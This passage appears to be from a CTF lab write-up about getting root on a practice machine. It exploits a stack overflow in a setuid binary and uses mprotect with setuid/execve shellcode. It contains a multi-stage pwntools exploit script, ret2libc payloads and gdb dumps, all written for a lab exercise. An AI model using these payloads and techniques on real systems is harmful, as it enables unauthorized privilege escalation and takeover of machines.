My new strategy is to go what I believe the author is trying to force me to do, which is to get a shell with two steps:

• Make the stack executable;
• Jump to the start of the vulnerable buffer where I’ll have shellcode.

To accomplish that, I’ll overwrite

The payload will start with the shellcode to run a shell (I’ll include a call to setuid just in case the binary is dropping priv), followed by junk to fill out 76 bytes. Then I’ll include the return address with the address of mprotect. The next word will be the return address for that function, which will be the buffer. Then I’ll have the three arguments for mprotect.

Since the program is already waiting for a filename to read in debug, I just need to write this payload to a file, and then pass that filename to the program, and go interactive:

## Stage 3 - Shell
mprotect = 0xb7efcd50
size = stack_end - stack_start
shellcode = asm(shellcraft.setuid(0) + shellcraft.execve('/bin/sh'))

payload += b"A" * (76 - len(shellcode))
log.info(f'Writing Stage 3 exploit to {fn}')

goodluck.sendline(fn)
log.info(f'Cleaning up {fn}')
goodluck.interactive(prompt='')


This script returns a root shell:

root@kali# python3 rootpwn.py
[+] Connecting to 10.10.10.27 on port 22: Done
[*] xalvas@10.10.10.27:
Distro    Ubuntu 16.04
OS:       linux
Arch:     i386
Version:  4.4.0
ASLR:     Disabled
Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Starting remote process '/home/xalvas/app/goodluck' on 10.10.10.27: pid 11358
[*] Writing Stage 1 exploit to /tmp/nflklqsofz
[+] Found secret: 0x10d0f1b
[*] Writing Stage 2 exploit to /tmp/nflklqsofz
[+] Address of next buffer: 0x3221224432
[+] Stack address space: 0x3220041728 - 0x3221225472
[*] Writing Stage 3 exploit to /tmp/nflklqsofz
[*] Cleaning up /tmp/nflklqsofz
[*] Switching to interactive mode
# id


And I can read root.txt:

# cat /root/root.txt
9be653e0************************


Beyond Root

Assembly

At the start of main, there’s a short section of assembly:

int main(int argc, char * argv[]) {
asm(
"push $0x00000001\n" "push$0x0003add6\n"
"push $0xb7e1a000\n" "call 0x37efcd50\n" "add$0x0c,%esp\n"

"push $0x00000005\n" "push$0x0003a000\n"
"push $0xb7e1a000\n" "call 0x37efcd50\n" "add$0x0c,%esp\n"
);


In debugging above, I was able to see those were calls to mprotect. The two calls are:

• mprotect(0xb7e1a000, 0x3add6, PROT_EXEC)
• mprotect(0xb7e1a000, 0xb7e1a000, PROT_READ | PROT_EXEC)

The flags I got from the header file for memory management mman.h.

Before this assembly runs, the memory maps look like:

gdb-peda$vmmap Start End Perm Name 0x80000000 0x80002000 r-xp /home/xalvas/app/goodluck 0x80002000 0x80003000 r--p /home/xalvas/app/goodluck 0x80003000 0x80004000 rw-p /home/xalvas/app/goodluck 0xb7e1a000 0xb7fca000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xb7fca000 0xb7fcc000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xb7fcc000 0xb7fcd000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xb7fcd000 0xb7fd0000 rw-p mapped 0xb7fd6000 0xb7fd8000 rw-p mapped 0xb7fd8000 0xb7fda000 r--p [vvar] 0xb7fda000 0xb7fdb000 r-xp [vdso] 0xb7fdb000 0xb7ffd000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xb7ffd000 0xb7ffe000 rw-p mapped 0xb7ffe000 0xb7fff000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xb7fff000 0xb8000000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xbfedf000 0xc0000000 rw-p [stack]  After the first call, it’s: gdb-peda$ vmmap
Start      End        Perm      Name
...[snip]...
0xb7e1a000 0xb7e55000 r--p      /lib/i386-linux-gnu/libc-2.23.so
0xb7e55000 0xb7fca000 r-xp      /lib/i386-linux-gnu/libc-2.23.so
0xb7fca000 0xb7fcc000 r--p      /lib/i386-linux-gnu/libc-2.23.so
0xb7fcc000 0xb7fcd000 rw-p      /lib/i386-linux-gnu/libc-2.23.so
...[snip]...


After the second:

gdb-peda$vmmap Start End Perm Name ...[snip]... 0xb7e1a000 0xb7e54000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xb7e54000 0xb7e55000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xb7e55000 0xb7fca000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xb7fca000 0xb7fcc000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xb7fcc000 0xb7fcd000 rw-p /lib/i386-linux-gnu/libc-2.23.so ...[snip]...  This assembly effectively takes the 0x1000 bytes in libc and makes it read only, no execute or write. When I was first here, I didn’t really understand why this was being done. Ret2Libc Fail While I’ve already shown I can get a shell by making the stack executable and then jumping to my shellcode, my initial instinct was to use a return to libc attack. I walked through a lot of detail as to how this works in Frolic. Because I don’t have ASLR to contend with, the addresses in libc are static. I can find them in gdb: gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e54da0 <__libc_system> gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f759ab ("/bin/sh")


While you may have already figured out how this relates to the assembly above, I didn’t notice yet, and kept going. With this information, I generated a stage three payoad:

"A"*76 + "\xa0\x4d\xe5\xb7EXIT\xab\x59\xf7\xb7"


But when I ran the exploit, it just crashed. I went with the manual method I used above to step through in gdb. When it crashed, the context was:

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fccbcc --> 0x21000
EDX: 0x0
ESI: 0xb7fcc000 --> 0x1b1db0
EDI: 0xb7fcc000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff610 ("JUNK\253Y\367\267", 'B' <repeats 12 times>, "\375!\003\001\375!\003\001<\016")
EIP: 0xb7e54da0 --> 0x8b0cec83
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7e54d97 <cancel_handler+231>:     pop    ebp
0xb7e54d98 <cancel_handler+232>:     ret
0xb7e54d99:  lea    esi,[esi+eiz*1+0x0]
=> 0xb7e54da0 <__libc_system>:  sub    esp,0xc
0xb7e54da3 <__libc_system+3>:        mov    eax,DWORD PTR [esp+0x10]
0xb7e54da7 <__libc_system+7>:        call   0xb7f39b0d <__x86.get_pc_thunk.dx>
0xb7e54db2 <__libc_system+18>:       test   eax,eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff610 ("JUNK\253Y\367\267", 'B' <repeats 12 times>, "\375!\003\001\375!\003\001<\016")
0004| 0xbffff614 --> 0xb7f759ab ("/bin/sh")
0008| 0xbffff618 ('B' <repeats 12 times>, "\375!\003\001\375!\003\001<\016")
0012| 0xbffff61c ("BBBBBBBB\375!\003\001\375!\003\001<\016")
0016| 0xbffff620 ("BBBB\375!\003\001\375!\003\001<\016")
0020| 0xbffff624 --> 0x10321fd
0024| 0xbffff628 --> 0x10321fd
0028| 0xbffff62c --> 0x80000e3c (<main+197>:    mov    BYTE PTR [ebp-0x15],al)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__libc_system (line=0xb7f759ab "/bin/sh") at ../sysdeps/posix/system.c:178
178     ../sysdeps/posix/system.c: No such file or directory.


The error code threw me for a minute, but then I looked at the address of system, 0xb7e54da0, and the range of libc that is no longer executable after the assembly above, 0xb7e54000 - 0xb7e55000. That assembly is to make it so that I can’t call system!

I looked at making a ROP payload that would make system executable again, and then call it, but that payload is 104 bytes long:

payload =  b"A" * 76             # 76
payload += p32(mprotect)         # +4 = 80
payload += p32(system)           # +4 = 84
payload += p32(protected)        # +4 = 88
payload += p32(protected_length) # +4 = 92
payload += p32(5)                # +4 = 96
payload += b'EXIT'               # +4 = 100
payload += p32(binsh)            # +4 = 104


There are things I could do to jump back into the buffer and keep going, but at this point, it’s just easier to go the intended path.

Full Pwn Script

#!/usr/bin/env python3

import re
from pwn import *

goodluck = sshConn.process("/home/xalvas/app/goodluck")
fn = f"/tmp/{randoms(10)}"

## Stage 1 - Leak hey.secret
log.info(f'Writing Stage 1 exploit to {fn}')
sshConn.upload_data(b"A" * 8 + p32(0x80002FF8), fn)
goodluck.sendline(fn)
goodluck.recv(4096)
goodluck.sendline("2")
resp = goodluck.recv(4096).decode()
secret = re.findall(r'debug info: (0x[0-9a-f]+)', resp)[0]
log.success(f"Found secret: {secret}")

## Stage 2 - Access Debug
log.info(f'Writing Stage 2 exploit to {fn}')
sshConn.upload_data(p32(int(secret, 16)) + b'AAAA' + p32(0x80002ff4), fn)
goodluck.sendline("4")
goodluck.recv(4096)
goodluck.sendline(fn)
goodluck.recv(4096)
goodluck.sendline("3")
resp = goodluck.recv(4096).decode()

buff_addr = int(re.search(r'vulnerable pointer is at ([0-9a-f]+)', resp).group(1), 16)
stack_start, stack_end = (int(x, 16) for x in re.search(r'\n([0-9a-f]{8})-([0-9a-f]{8}) rw-p 00000000 00:00 0          $stack$\n', resp).groups())
log.success(f'Stack address space: 0x{stack_start} - 0x{stack_end}')

## Stage 3 - Shell
mprotect = 0xb7efcd50
size = stack_end - stack_start
shellcode = asm(shellcraft.setuid(0) + shellcraft.execve('/bin/sh'))

payload += b"A" * (76 - len(shellcode))